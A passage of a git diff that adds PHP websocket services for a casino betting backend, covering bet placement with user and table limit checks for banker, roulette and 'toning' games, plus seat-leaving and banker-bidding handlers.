$betTotalAmount['amount_player_1_banker_times'] = $prevBetInfo['amount_player_1_banker_times'] + $data['amount_player_1_banker_times']; + $betTotalAmount['amount_player_2_banker_times'] = $prevBetInfo['amount_player_2_banker_times'] + $data['amount_player_2_banker_times']; + $betTotalAmount['amount_player_3_banker_times'] = $prevBetInfo['amount_player_3_banker_times'] + $data['amount_player_3_banker_times']; + + $betTotalAmount['withhold_player_1_banker_times'] = $prevBetInfo['withhold_player_1_banker_times'] + $data['withhold_player_1_banker_times']; + $betTotalAmount['withhold_player_2_banker_times'] = $prevBetInfo['withhold_player_2_banker_times'] + $data['withhold_player_2_banker_times']; + $betTotalAmount['withhold_player_3_banker_times'] = $prevBetInfo['withhold_player_3_banker_times'] + $data['withhold_player_3_banker_times']; + }else{ + $betTotalAmount = $data; + } + $withholdKeys = [ + 'withhold_player_1_times', + 'withhold_player_2_times', + 'withhold_player_3_times', + 'withhold_player_1_banker_times', + 'withhold_player_2_banker_times', + 'withhold_player_3_banker_times', + ]; + foreach ($betTotalAmount AS $k => $v){ + if ($v > $userInfo['limit_high'] && !in_array($k,$withholdKeys)){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_user']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + } + foreach ($betTotalAmount AS $k => $v){ + if ($v > 0 && $v < $userInfo['limit_low'] && !in_array($k,$withholdKeys)){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'under_limit_user']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + } + /***** User Limit End *****/ + + /***** Table Limit Start *****/ + $limitMoneyArray = explode('-',$tableInfo['limit_money']); + $prevBetInfo = Bet::getPrevBetInfo($userInfo['id'],$numberTabInfo['id']); + if($prevBetInfo){ + $total_player_1 = $prevBetInfo['amount_player_1'] + $data['amount_player_1']; + $total_player_2 = $prevBetInfo['amount_player_2'] + $data['amount_player_2']; + $total_player_3 = $prevBetInfo['amount_player_3'] + $data['amount_player_3']; + + $total_player_1_times = $prevBetInfo['amount_player_1_times'] + $data['amount_player_1_times']; + $total_player_2_times = $prevBetInfo['amount_player_2_times'] + $data['amount_player_2_times']; + $total_player_3_times = $prevBetInfo['amount_player_3_times'] + $data['amount_player_3_times']; + + $total_player_1_withhold = $prevBetInfo['withhold_player_1_times'] + $data['withhold_player_1_times']; + $total_player_2_withhold = $prevBetInfo['withhold_player_2_times'] + $data['withhold_player_2_times']; + $total_player_3_withhold = $prevBetInfo['withhold_player_3_times'] + $data['withhold_player_3_times']; + + $total_player_1_banker = $prevBetInfo['amount_player_1_banker'] + $data['amount_player_1_banker']; + $total_player_2_banker = $prevBetInfo['amount_player_2_banker'] + $data['amount_player_2_banker']; + $total_player_3_banker = $prevBetInfo['amount_player_3_banker'] + $data['amount_player_3_banker']; + + $total_player_1_banker_times = $prevBetInfo['amount_player_1_banker_times'] + $data['amount_player_1_banker_times']; + $total_player_2_banker_times = $prevBetInfo['amount_player_2_banker_times'] + $data['amount_player_2_banker_times']; + $total_player_3_banker_times = $prevBetInfo['amount_player_3_banker_times'] + $data['amount_player_3_banker_times']; + + $total_player_1_banker_times_withhold = $prevBetInfo['withhold_player_1_banker_times'] + $data['withhold_player_1_banker_times']; + $total_player_2_banker_times_withhold = $prevBetInfo['withhold_player_2_banker_times'] + $data['withhold_player_2_banker_times']; + $total_player_3_banker_times_withhold = $prevBetInfo['withhold_player_3_banker_times'] + $data['withhold_player_3_banker_times']; + + }else{ + $total_player_1 = $data['amount_player_1']; + $total_player_2 = $data['amount_player_2']; + $total_player_3 = $data['amount_player_3']; + + $total_player_1_times = $data['amount_player_1_times']; + $total_player_2_times = $data['amount_player_2_times']; + $total_player_3_times = $data['amount_player_3_times']; + + $total_player_1_withhold = $data['withhold_player_1_times']; + $total_player_2_withhold = $data['withhold_player_2_times']; + $total_player_3_withhold = $data['withhold_player_3_times']; + + $total_player_1_banker = $data['amount_player_1_banker']; + $total_player_2_banker = $data['amount_player_2_banker']; + $total_player_3_banker = $data['amount_player_3_banker']; + + $total_player_1_banker_times = $data['amount_player_1_banker_times']; + $total_player_2_banker_times = $data['amount_player_2_banker_times']; + $total_player_3_banker_times = $data['amount_player_3_banker_times']; + + $total_player_1_banker_times_withhold = $data['withhold_player_1_banker_times']; + $total_player_2_banker_times_withhold = $data['withhold_player_2_banker_times']; + $total_player_3_banker_times_withhold = $data['withhold_player_3_banker_times']; + } + + if($total_player_1 > $limitMoneyArray[1] || $total_player_2 > $limitMoneyArray[1] || $total_player_3 > $limitMoneyArray[1] || $total_player_1_times > $limitMoneyArray[1] || $total_player_2_times > $limitMoneyArray[1] || $total_player_3_times > $limitMoneyArray[1] || $total_player_1_banker > $limitMoneyArray[1] || $total_player_2_banker > $limitMoneyArray[1] || $total_player_3_banker > $limitMoneyArray[1] || $total_player_1_banker_times > $limitMoneyArray[1] || $total_player_2_banker_times > $limitMoneyArray[1] || $total_player_3_banker_times > $limitMoneyArray[1] ){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + if(($total_player_1 > 0 && $total_player_1 < $limitMoneyArray[0]) || ($total_player_2 > 0 && $total_player_2 < $limitMoneyArray[0]) || ($total_player_3 > 0 && $total_player_3 < $limitMoneyArray[0]) || ($total_player_1_times > 0 && $total_player_1_times < $limitMoneyArray[0]) || ($total_player_2_times > 0 && $total_player_2_times < $limitMoneyArray[0]) || ($total_player_3_times > 0 && $total_player_3_times < $limitMoneyArray[0]) || ($total_player_1_banker > 0 && $total_player_1_banker < $limitMoneyArray[0]) || ($total_player_2_banker > 0 && $total_player_2_banker < $limitMoneyArray[0]) || ($total_player_3_banker > 0 && $total_player_3_banker < $limitMoneyArray[0]) || ($total_player_1_banker_times > 0 && $total_player_1_banker_times < $limitMoneyArray[0]) || ($total_player_2_banker_times > 0 && $total_player_2_banker_times < $limitMoneyArray[0]) || ($total_player_3_banker_times > 0 && $total_player_3_banker_times < $limitMoneyArray[0])){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'under_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + /***** Table Limit End *****/ + + $res = Bet::toBet($tableInfo,$userInfo,$numberTabInfo,$prevBetInfo,$data,$seat_num,$betTotalAmount,$time,0); + if($res){ + $ws->emit('toBet',['status' => true, 'table_id' => $tableInfo['id'], 'bet_amount_msg' => $betTotalAmount, 'money' => ($userInfo['money'] - $amount),'seat_num' => $seat_num, 'msg' => 'to_bet_success']); + // 待确定是否推送即时彩池,现不推送 + }else{ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_bet_fail']); + } + SocketSession::resetRepeat($fd,'user','isToBet'); + } +} \ No newline at end of file diff --git a/app/services/bet/ToBetRouletteService.php b/app/services/bet/ToBetRouletteService.php new file mode 100644 index 0000000..83e4a34 --- /dev/null +++ b/app/services/bet/ToBetRouletteService.php @@ -0,0 +1,70 @@ +getSender(); + $data = array(); + $event_amount = $event['amount']; + $fieldName = 'roulette_'.$event['roulette_type'].'_amount'; + foreach ($event_amount as $k => $v){ + if (intval($v) > 0){ + $data[$k] = intval($v); + } + } + $seat_num = isset($event['seat_num']) && intval($event['seat_num']) > 0 ? intval($event['seat_num']) : 0; + + $time = time(); + $toBetCheck = ToBetCommonService::toBetCheck($tableInfo,$event,$data); + if ($toBetCheck['status'] == false){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => $toBetCheck['msg']]); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + $numberTabInfo = $toBetCheck['numberTabInfo']; + $userInfo = $toBetCheck['userInfo']; + $amount = array_sum($data); + $prevBetInfo = Bet::getPrevBetInfo($userInfo['id'],$numberTabInfo['id']); + + if($prevBetInfo){ + $beforeAmount = string_to_array($prevBetInfo[$fieldName]); + $betTotalAmount = RouletteUtil::amountInc($beforeAmount, $data); + }else{ + $betTotalAmount = $data; + } + $res = Bet::toBet($tableInfo,$userInfo,$numberTabInfo,$prevBetInfo,$data,$seat_num,$betTotalAmount,$time,0,$fieldName); + $numberTabAmount = string_to_array($numberTabInfo[$fieldName]); + if($res){ + $ws->emit('toBet',['status' => true, 'table_id' => $tableInfo['id'], 'bet_amount_msg' => [$fieldName => $betTotalAmount], 'money' => ($userInfo['money'] - $amount),'seat_num' => $seat_num, 'msg' => 'to_bet_success']); + $totalAmountArray = RouletteUtil::amountInc($numberTabAmount, $data); + $round = [ + 'amount_total' => $totalAmountArray, + 'amount_item' => $data + ]; + $ws->to(SocketSession::HOUSE_NAME)->emit('allBetAmount',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + }else{ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_bet_fail']); + } + SocketSession::resetRepeat($fd,'user','isToBet'); + } + +} diff --git a/app/services/bet/ToBetTcService.php b/app/services/bet/ToBetTcService.php new file mode 100644 index 0000000..f819170 --- /dev/null +++ b/app/services/bet/ToBetTcService.php @@ -0,0 +1,190 @@ +getSender(); + $data = array(); + + $data['amount_player_1'] = isset($event['amount_player_1']) && intval($event['amount_player_1']) > 0 ? intval($event['amount_player_1']) : 0; + $data['amount_player_1_times'] = isset($event['amount_player_1_times']) && intval($event['amount_player_1_times']) > 0 ? intval($event['amount_player_1_times']) : 0; + $data['withhold_player_1_times'] = $data['amount_player_1_times'] * 19; + $data['amount_player_1_banker'] = isset($event['amount_player_1_banker']) && intval($event['amount_player_1_banker']) > 0 ? intval($event['amount_player_1_banker']) : 0; + $data['amount_player_1_banker_times'] = isset($event['amount_player_1_banker_times']) && intval($event['amount_player_1_banker_times']) > 0 ? intval($event['amount_player_1_banker_times']) : 0; + $data['withhold_player_1_banker_times'] = $data['amount_player_1_banker_times'] * 19; + + $data['amount_player_2'] = isset($event['amount_player_2']) && intval($event['amount_player_2']) > 0 ? intval($event['amount_player_2']) : 0; + $data['amount_player_2_times'] = isset($event['amount_player_2_times']) && intval($event['amount_player_2_times']) > 0 ? intval($event['amount_player_2_times']) : 0; + $data['withhold_player_2_times'] = $data['amount_player_2_times'] * 19; + $data['amount_player_2_banker'] = isset($event['amount_player_2_banker']) && intval($event['amount_player_2_banker']) > 0 ? intval($event['amount_player_2_banker']) : 0; + $data['amount_player_2_banker_times'] = isset($event['amount_player_2_banker_times']) && intval($event['amount_player_2_banker_times']) > 0 ? intval($event['amount_player_2_banker_times']) : 0; + $data['withhold_player_2_banker_times'] = $data['amount_player_2_banker_times'] * 19; + + $data['amount_player_3'] = isset($event['amount_player_3']) && intval($event['amount_player_3']) > 0 ? intval($event['amount_player_3']) : 0; + $data['amount_player_3_times'] = isset($event['amount_player_3_times']) && intval($event['amount_player_3_times']) > 0 ? intval($event['amount_player_3_times']) : 0; + $data['withhold_player_3_times'] = $data['amount_player_3_times'] * 19; + $data['amount_player_3_banker'] = isset($event['amount_player_3_banker']) && intval($event['amount_player_3_banker']) > 0 ? intval($event['amount_player_3_banker']) : 0; + $data['amount_player_3_banker_times'] = isset($event['amount_player_3_banker_times']) && intval($event['amount_player_3_banker_times']) > 0 ? intval($event['amount_player_3_banker_times']) : 0; + $data['withhold_player_3_banker_times'] = $data['amount_player_3_banker_times'] * 19; + + $seat_num = isset($event['seat_num']) && intval($event['seat_num']) > 0 ? intval($event['seat_num']) : 0; + + $time = time(); + $toBetCheck = ToBetCommonService::toBetCheck($tableInfo,$event,$data); + if ($toBetCheck['status'] == false){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => $toBetCheck['msg']]); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + $numberTabInfo = $toBetCheck['numberTabInfo']; + $userInfo = $toBetCheck['userInfo']; + $amount = array_sum($data); + + /***** User Limit Start *****/ + $prevBetInfo = Bet::getPrevBetInfo($userInfo['id'],$numberTabInfo['id']); + $betTotalAmount = []; + if($prevBetInfo){ + $betTotalAmount['amount_player_1'] = $prevBetInfo['amount_player_1'] + $data['amount_player_1']; + $betTotalAmount['amount_player_2'] = $prevBetInfo['amount_player_2'] + $data['amount_player_2']; + $betTotalAmount['amount_player_3'] = $prevBetInfo['amount_player_3'] + $data['amount_player_3']; + + $betTotalAmount['amount_player_1_times'] = $prevBetInfo['amount_player_1_times'] + $data['amount_player_1_times']; + $betTotalAmount['amount_player_2_times'] = $prevBetInfo['amount_player_2_times'] + $data['amount_player_2_times']; + $betTotalAmount['amount_player_3_times'] = $prevBetInfo['amount_player_3_times'] + $data['amount_player_3_times']; + + $betTotalAmount['withhold_player_1_times'] = $prevBetInfo['withhold_player_1_times'] + $data['withhold_player_1_times']; + $betTotalAmount['withhold_player_2_times'] = $prevBetInfo['withhold_player_2_times'] + $data['withhold_player_2_times']; + $betTotalAmount['withhold_player_3_times'] = $prevBetInfo['withhold_player_3_times'] + $data['withhold_player_3_times']; + + $betTotalAmount['amount_player_1_banker'] = $prevBetInfo['amount_player_1_banker'] + $data['amount_player_1_banker']; + $betTotalAmount['amount_player_2_banker'] = $prevBetInfo['amount_player_2_banker'] + $data['amount_player_2_banker']; + $betTotalAmount['amount_player_3_banker'] = $prevBetInfo['amount_player_3_banker'] + $data['amount_player_3_banker']; + + $betTotalAmount['amount_player_1_banker_times'] = $prevBetInfo['amount_player_1_banker_times'] + $data['amount_player_1_banker_times']; + $betTotalAmount['amount_player_2_banker_times'] = $prevBetInfo['amount_player_2_banker_times'] + $data['amount_player_2_banker_times']; + $betTotalAmount['amount_player_3_banker_times'] = $prevBetInfo['amount_player_3_banker_times'] + $data['amount_player_3_banker_times']; + + $betTotalAmount['withhold_player_1_banker_times'] = $prevBetInfo['withhold_player_1_banker_times'] + $data['withhold_player_1_banker_times']; + $betTotalAmount['withhold_player_2_banker_times'] = $prevBetInfo['withhold_player_2_banker_times'] + $data['withhold_player_2_banker_times']; + $betTotalAmount['withhold_player_3_banker_times'] = $prevBetInfo['withhold_player_3_banker_times'] + $data['withhold_player_3_banker_times']; + }else{ + $betTotalAmount = $data; + } + $withholdKeys = [ + 'withhold_player_1_times', + 'withhold_player_2_times', + 'withhold_player_3_times', + 'withhold_player_1_banker_times', + 'withhold_player_2_banker_times', + 'withhold_player_3_banker_times', + ]; + foreach ($betTotalAmount AS $k => $v){ + if ($v > $userInfo['limit_high'] && !in_array($k,$withholdKeys)){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_user']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + } + foreach ($betTotalAmount AS $k => $v){ + if ($v > 0 && $v < $userInfo['limit_low'] && !in_array($k,$withholdKeys)){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'under_limit_user']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + } + /***** User Limit End *****/ + + /***** Table Limit Start *****/ + $limitMoneyArray = explode('-',$tableInfo['limit_money']); + $prevBetInfo = Bet::getPrevBetInfo($userInfo['id'],$numberTabInfo['id']); + if($prevBetInfo){ + $total_player_1 = $prevBetInfo['amount_player_1'] + $data['amount_player_1']; + $total_player_2 = $prevBetInfo['amount_player_2'] + $data['amount_player_2']; + $total_player_3 = $prevBetInfo['amount_player_3'] + $data['amount_player_3']; + + $total_player_1_times = $prevBetInfo['amount_player_1_times'] + $data['amount_player_1_times']; + $total_player_2_times = $prevBetInfo['amount_player_2_times'] + $data['amount_player_2_times']; + $total_player_3_times = $prevBetInfo['amount_player_3_times'] + $data['amount_player_3_times']; + + $total_player_1_withhold = $prevBetInfo['withhold_player_1_times'] + $data['withhold_player_1_times']; + $total_player_2_withhold = $prevBetInfo['withhold_player_2_times'] + $data['withhold_player_2_times']; + $total_player_3_withhold = $prevBetInfo['withhold_player_3_times'] + $data['withhold_player_3_times']; + + $total_player_1_banker = $prevBetInfo['amount_player_1_banker'] + $data['amount_player_1_banker']; + $total_player_2_banker = $prevBetInfo['amount_player_2_banker'] + $data['amount_player_2_banker']; + $total_player_3_banker = $prevBetInfo['amount_player_3_banker'] + $data['amount_player_3_banker']; + + $total_player_1_banker_times = $prevBetInfo['amount_player_1_banker_times'] + $data['amount_player_1_banker_times']; + $total_player_2_banker_times = $prevBetInfo['amount_player_2_banker_times'] + $data['amount_player_2_banker_times']; + $total_player_3_banker_times = $prevBetInfo['amount_player_3_banker_times'] + $data['amount_player_3_banker_times']; + + $total_player_1_banker_times_withhold = $prevBetInfo['withhold_player_1_banker_times'] + $data['withhold_player_1_banker_times']; + $total_player_2_banker_times_withhold = $prevBetInfo['withhold_player_2_banker_times'] + $data['withhold_player_2_banker_times']; + $total_player_3_banker_times_withhold = $prevBetInfo['withhold_player_3_banker_times'] + $data['withhold_player_3_banker_times']; + + }else{ + $total_player_1 = $data['amount_player_1']; + $total_player_2 = $data['amount_player_2']; + $total_player_3 = $data['amount_player_3']; + + $total_player_1_times = $data['amount_player_1_times']; + $total_player_2_times = $data['amount_player_2_times']; + $total_player_3_times = $data['amount_player_3_times']; + + $total_player_1_withhold = $data['withhold_player_1_times']; + $total_player_2_withhold = $data['withhold_player_2_times']; + $total_player_3_withhold = $data['withhold_player_3_times']; + + $total_player_1_banker = $data['amount_player_1_banker']; + $total_player_2_banker = $data['amount_player_2_banker']; + $total_player_3_banker = $data['amount_player_3_banker']; + + $total_player_1_banker_times = $data['amount_player_1_banker_times']; + $total_player_2_banker_times = $data['amount_player_2_banker_times']; + $total_player_3_banker_times = $data['amount_player_3_banker_times']; + + $total_player_1_banker_times_withhold = $data['withhold_player_1_banker_times']; + $total_player_2_banker_times_withhold = $data['withhold_player_2_banker_times']; + $total_player_3_banker_times_withhold = $data['withhold_player_3_banker_times']; + } + + if($total_player_1 > $limitMoneyArray[1] || $total_player_2 > $limitMoneyArray[1] || $total_player_3 > $limitMoneyArray[1] || $total_player_1_times > $limitMoneyArray[1] || $total_player_2_times > $limitMoneyArray[1] || $total_player_3_times > $limitMoneyArray[1] || $total_player_1_banker > $limitMoneyArray[1] || $total_player_2_banker > $limitMoneyArray[1] || $total_player_3_banker > $limitMoneyArray[1] || $total_player_1_banker_times > $limitMoneyArray[1] || $total_player_2_banker_times > $limitMoneyArray[1] || $total_player_3_banker_times > $limitMoneyArray[1]){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + if(($total_player_1 > 0 && $total_player_1 < $limitMoneyArray[0]) || ($total_player_2 > 0 && $total_player_2 < $limitMoneyArray[0]) || ($total_player_3 > 0 && $total_player_3 < $limitMoneyArray[0]) || ($total_player_1_times > 0 && $total_player_1_times < $limitMoneyArray[0]) || ($total_player_2_times > 0 && $total_player_2_times < $limitMoneyArray[0]) || ($total_player_3_times > 0 && $total_player_3_times < $limitMoneyArray[0]) || ($total_player_1_banker > 0 && $total_player_1_banker < $limitMoneyArray[0]) || ($total_player_2_banker > 0 && $total_player_2_banker < $limitMoneyArray[0]) || ($total_player_3_banker > 0 && $total_player_3_banker < $limitMoneyArray[0]) || ($total_player_1_banker_times > 0 && $total_player_1_banker_times < $limitMoneyArray[0]) || ($total_player_2_banker_times > 0 && $total_player_2_banker_times < $limitMoneyArray[0]) || ($total_player_3_banker_times > 0 && $total_player_3_banker_times < $limitMoneyArray[0]) ){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'under_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + /***** Table Limit End *****/ + + $res = Bet::toBet($tableInfo,$userInfo,$numberTabInfo,$prevBetInfo,$data,$seat_num,$betTotalAmount,$time,0); + if($res){ + $ws->emit('toBet',['status' => true, 'table_id' => $tableInfo['id'], 'bet_amount_msg' => $betTotalAmount, 'money' => ($userInfo['money'] - $amount),'seat_num' => $seat_num, 'msg' => 'to_bet_success']); + // 待确定是否推送即时彩池,现不推送 + }else{ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_bet_fail']); + } + SocketSession::resetRepeat($fd,'user','isToBet'); + } +} \ No newline at end of file diff --git a/app/services/bet/ToBetToningService.php b/app/services/bet/ToBetToningService.php new file mode 100644 index 0000000..e718612 --- /dev/null +++ b/app/services/bet/ToBetToningService.php @@ -0,0 +1,120 @@ +getSender(); + $data = array(); + $data['toning_zero'] = isset($event['toning_zero']) && intval($event['toning_zero']) > 0 ? intval($event['toning_zero']) : 0; + $data['toning_four'] = isset($event['toning_four']) && intval($event['toning_four']) > 0 ? intval($event['toning_four']) : 0; + $data['toning_one'] = isset($event['toning_one']) && intval($event['toning_one']) > 0 ? intval($event['toning_one']) : 0; + $data['toning_three'] = isset($event['toning_three']) && intval($event['toning_three']) > 0 ? intval($event['toning_three']) : 0; + $data['toning_big'] = isset($event['toning_big']) && intval($event['toning_big']) > 0 ? intval($event['toning_big']) : 0; + $data['toning_small'] = isset($event['toning_small']) && intval($event['toning_small']) > 0 ? intval($event['toning_small']) : 0; + $data['toning_singular'] = isset($event['toning_singular']) && intval($event['toning_singular']) > 0 ? intval($event['toning_singular']) : 0; + $data['toning_plural'] = isset($event['toning_plural']) && intval($event['toning_plural']) > 0 ? intval($event['toning_plural']) : 0; + $seat_num = isset($event['seat_num']) && intval($event['seat_num']) > 0 ? intval($event['seat_num']) : 0; + + $time = time(); + $toBetCheck = ToBetCommonService::toBetCheck($tableInfo,$event,$data); + if ($toBetCheck['status'] == false){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => $toBetCheck['msg']]); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + $numberTabInfo = $toBetCheck['numberTabInfo']; + $userInfo = $toBetCheck['userInfo']; + $amount = array_sum($data); + + $prevBetInfo = Bet::getPrevBetInfo($userInfo['id'],$numberTabInfo['id']); + $betTotalAmount = []; + if($prevBetInfo){ + $betArray = string_to_array($prevBetInfo['toning_amount']); + $betTotalAmount['toning_zero'] = $betArray['toning_zero'] + $data['toning_zero']; + $betTotalAmount['toning_four'] = $betArray['toning_four'] + $data['toning_four']; + $betTotalAmount['toning_one'] = $betArray['toning_one'] + $data['toning_one']; + $betTotalAmount['toning_three'] = $betArray['toning_three'] + $data['toning_three']; + $betTotalAmount['toning_big'] = $betArray['toning_big'] + $data['toning_big']; + $betTotalAmount['toning_small'] = $betArray['toning_small'] + $data['toning_small']; + $betTotalAmount['toning_singular'] = $betArray['toning_singular'] + $data['toning_singular']; + $betTotalAmount['toning_plural'] = $betArray['toning_plural'] + $data['toning_plural']; + }else{ + $betTotalAmount = $data; + } + /***** User Limit Start *****/ + $totalAmount = array_sum($betTotalAmount); + if ($totalAmount > $userInfo['limit_high']){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_user']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + if ($totalAmount > 0 && $totalAmount < $userInfo['limit_low']){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'under_limit_user']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + /***** User Limit End *****/ + + /***** Table Limit Start *****/ + $totalAmount = array_sum($betTotalAmount); + $limitMoneyArray = explode('-',$tableInfo['limit_money']); + if($totalAmount > $limitMoneyArray[1]){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + if(($totalAmount > 0 && $totalAmount < $limitMoneyArray[0]) ){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'under_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + $res = Bet::toBet($tableInfo,$userInfo,$numberTabInfo,$prevBetInfo,$data,$seat_num,$betTotalAmount,$time,0); + $numberTabAmount = string_to_array($numberTabInfo['toning_amount']); + if($res){ + $ws->emit('toBet',['status' => true, 'table_id' => $tableInfo['id'], 'bet_amount_msg' => $betTotalAmount, 'money' => ($userInfo['money'] - $amount),'seat_num' => $seat_num, 'msg' => 'to_bet_success']); + $round = array( + 'toning_zero' => isset($numberTabAmount['toning_zero']) ? intval($numberTabAmount['toning_zero'] + $data['toning_zero']) : $data['toning_zero'], + 'toning_four' => isset($numberTabAmount['toning_four']) ? intval($numberTabAmount['toning_four'] + $data['toning_four']) : $data['toning_four'], + 'toning_one' => isset($numberTabAmount['toning_one']) ? intval($numberTabAmount['toning_one'] + $data['toning_one']) : $data['toning_one'], + 'toning_three' => isset($numberTabAmount['toning_three']) ? intval($numberTabAmount['toning_three'] + $data['toning_three']) : $data['toning_three'], + 'toning_big' => isset($numberTabAmount['toning_big']) ? intval($numberTabAmount['toning_big'] + $data['toning_big']) : $data['toning_big'], + 'toning_small' => isset($numberTabAmount['toning_small']) ? intval($numberTabAmount['toning_small'] + $data['toning_small']) : $data['toning_small'], + 'toning_singular' => isset($numberTabAmount['toning_singular']) ? intval($numberTabAmount['toning_singular'] + $data['toning_singular']) : $data['toning_singular'], + 'toning_plural' => isset($numberTabAmount['toning_plural']) ? intval($numberTabAmount['toning_plural'] + $data['toning_plural']) : $data['toning_plural'], + 'amount_item' => array( + 'toning_zero' => $data['toning_zero'], + 'toning_four' => $data['toning_four'], + 'toning_one' => $data['toning_one'], + 'toning_three' => $data['toning_three'], + 'toning_big' => $data['toning_big'], + 'toning_small' => $data['toning_small'], + 'toning_singular' => $data['toning_singular'], + 'toning_plural' => $data['toning_plural'], + 'user_id' => $userInfo['id'], + ), + ); + $ws->to(SocketSession::HOUSE_NAME)->emit('allBetAmount',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + }else{ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_bet_fail']); + } + SocketSession::resetRepeat($fd,'user','isToBet'); + } +} \ No newline at end of file diff --git a/app/services/bet/ToLeaveSeatService.php b/app/services/bet/ToLeaveSeatService.php new file mode 100644 index 0000000..a8de8db --- /dev/null +++ b/app/services/bet/ToLeaveSeatService.php @@ -0,0 +1,64 @@ +getSender(); + $numberTabId = isset($event['number_tab_id']) && intval($event['number_tab_id']) > 0 ? intval($event['number_tab_id']) : 0; + $userId = isset($event['user_id']) && intval($event['user_id']) > 0 ? intval($event['user_id']) : 0; + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + + /** 验证是否和当前铺同一铺 */ + if ($numberTabInfo['id'] != $numberTabId){ + $ws->emit('toLeaveSeat',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_leave_seat_fail_1']); + SocketSession::resetRepeat($fd,'user','isToLeaveSeat'); + return; + } + + $userInfo = User::get(['id' => $userId, 'status' => 1, 'is_delete' => 0]); + /** 验证会员有效 */ + if (!$userInfo || $userInfo['bet_type'] != 2){ + $ws->emit('toLeaveSeat',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_leave_seat_fail_2']); + SocketSession::resetRepeat($fd,'user','isToLeaveSeat'); + return; + } + + /** 验证本局是否下注 */ + $prevBetInfo = Bet::getPrevBetInfo($userInfo['id'],$numberTabInfo['id']); + if($prevBetInfo){ + $ws->emit('toLeaveSeat',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_leave_seat_fail_3']); + SocketSession::resetRepeat($fd,'user','isToLeaveSeat'); + return; + } + + $res = Bet::toLeaveSeat($userInfo,$numberTabInfo); + if ($res){ + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + $table_seat_info = json_decode($numberTabInfo['seat_json'],true); + $leaveMsg = ['user_id' => $userInfo['id'], 'manager_id' => $userInfo['manager_id']]; + $ws->to(SocketSession::HOUSE_NAME)->emit('toLeaveSeat',['status' => true, 'table_id' => $tableInfo['id'],'leaveMsg' => $leaveMsg, 'table_seat_info' => $table_seat_info[$userInfo['manager_id']], 'msg' => 'to_leave_seat_success']); + }else{ + $ws->emit('toLeaveSeat',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_leave_seat_fail']); + } + SocketSession::resetRepeat($fd,'user','isToLeaveSeat'); + } + +} \ No newline at end of file diff --git a/app/services/bet/ToRobService.php b/app/services/bet/ToRobService.php new file mode 100644 index 0000000..9f64f02 --- /dev/null +++ b/app/services/bet/ToRobService.php @@ -0,0 +1,76 @@ +getSender(); + $numberTabId = isset($event['number_tab_id']) && intval($event['number_tab_id']) > 0 ? intval($event['number_tab_id']) : 0; + $userId = isset($event['user_id']) && intval($event['user_id']) > 0 ? intval($event['user_id']) : 0; + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + /** 验证是否和当前铺同一铺 */ + if ($numberTabInfo['id'] != $numberTabId){ + $ws->emit('toRob',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_rob_fail_4']); + SocketSession::resetRepeat($fd,'user','isToRob'); + return; + } + /** 验证是否抢庄时间 */ + if ($numberTabInfo['rob_status'] != 1 || time() > $numberTabInfo['rob_start_time'] + $tableInfo['rob_time']){ + $ws->emit('toRob',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_rob_fail_3']); + SocketSession::resetRepeat($fd,'user','isToRob'); + return; + } + $userInfo = User::get(['id' => $userId, 'status' => 1, 'is_delete' => 0]); + /** 验证会员有效 */ + if (!$userInfo){ + $ws->emit('toRob',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_rob_fail_2']); + SocketSession::resetRepeat($fd,'user','isToRob'); + return; + } + /** 十万会员不能抢庄 */ + if($userInfo['is_sw'] == 